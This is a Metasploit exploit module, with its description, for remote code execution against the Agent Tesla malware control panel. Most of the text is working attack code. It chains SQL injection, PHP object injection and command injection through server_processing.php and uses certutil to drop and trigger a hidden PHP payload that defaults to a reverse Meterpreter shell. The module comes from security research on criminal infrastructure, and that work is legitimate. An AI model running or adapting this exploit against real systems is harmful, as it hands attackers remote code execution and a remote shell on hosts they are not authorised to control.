This Metasploit module exploits a command injection vulnerability within the Agent Tesla control panel, in combination with an SQL injection vulnerability and a PHP object injection vulnerability, to gain remote code execution on affected hosts. Panel versions released prior to September 12, 2018 can be exploited by unauthenticated attackers to gain remote code execution as user running the web server. Agent Tesla panels released on or after this date can still be exploited however, provided that attackers have valid credentials for the Agent Tesla control panel. Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack. Support for Linux may be added in a future update, but could not be confirmed during testing.
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Agent Tesla Panel Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability within the Agent Tesla control panel,
in combination with an SQL injection vulnerability and a PHP object injection vulnerabilty, to gain
remote code execution on affected hosts.
Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to
gain remote code execution as user running the web server. Agent Tesla panels released on or after
this date can still be exploited however, provided that attackers have valid credentials for the
Agent Tesla control panel.
Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.
Support for Linux may be added in a future update, but could not be confirmed during testing.
},
'Author' => [
'Ege Balcı <[email protected]>', # discovery and independent module
'mekhalleh (RAMELLA Sébastien)', # Added windows targeting and authenticated RCE
'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit
],
'References' => [
['EDB', '47256'], # Original PoC and Metasploit module
['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download
['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research.
['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla
],
'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this.
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Privileged' => false,
'Targets' => [
[
'Automatic (PHP-Dropper)', {
'Platform' => 'php',
'Arch' => [ARCH_PHP],
'Type' => :php_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'DisablePayloadHandler' => 'false'
}
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]),
OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']),
OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil])
])
end
def os_get_name
response = parse_response(execute_command('echo $PATH'))
## Not linux, check Windows.
response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH')
os_name = ''
if response =~ %r{^\/}
os_name = 'linux'
elsif response =~ /^[a-zA-Z]:\\/
os_name = 'windows'
end
os_name
end
def parse_response(js)
return '' unless js
begin
return js.get_json_document['data'][0].values.join
rescue NoMethodError
return ''
end
return ''
end
def execute_command(command, _opts = {})
junk = rand(1_000)
sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ")
requested_payload = {
'table' => 'passwords',
'primary' => 'HWID',
'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',
'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"")
}
cookie = auth_get_cookie
request = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
}
request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth
request = request.merge({
'encode_params' => true,
'vars_get' => requested_payload
})
response = send_request_cgi(request)
return false unless response
return response if response.body
false
end
def auth_get_cookie
if datastore['USERNAME'] && datastore['PASSWORD']
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'vars_post' => {
'Username' => datastore['USERNAME'],
'Password' => datastore['PASSWORD']
}
)
return :not_auth unless response
return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/
end
:not_auth
end
def check
# check for login credentials couple.
if datastore['USERNAME'] && datastore['PASSWORD'].nil?
fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')
end
if datastore['PASSWORD'] && datastore['USERNAME'].nil?
fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')
end
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
)
if response
if response.redirect? && response.headers['location'] =~ /login.php/
unless datastore['USERNAME'] && datastore['PASSWORD']
print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')
return Exploit::CheckCode::Unknown
end
end
rand_str = Rex::Text.rand_text_alpha(8..16)
cmd_output = parse_response(execute_command("echo #{rand_str}"))
return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str)
end
Exploit::CheckCode::Safe
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
os = os_get_name
unless os
print_bad('Could not determine the targeted operating system.')
return Msf::Exploit::Failed
end
print_status("Targeted operating system is: #{os}")
file_name = '.' + Rex::Text.rand_text_alpha(10) + '.php'
case os
when /linux/
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")
when /windows/
cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"
end
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{cmd}")
response = execute_command(cmd)
unless response && response.code == 200 && response.body.include?('command completed successfully')
fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')
end
if os == 'windows'
panel_uri = datastore['TARGETURI'].gsub('/', '\\')
print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
else
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")
end
# Triggering payload.
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)
}, 2.5)
end
end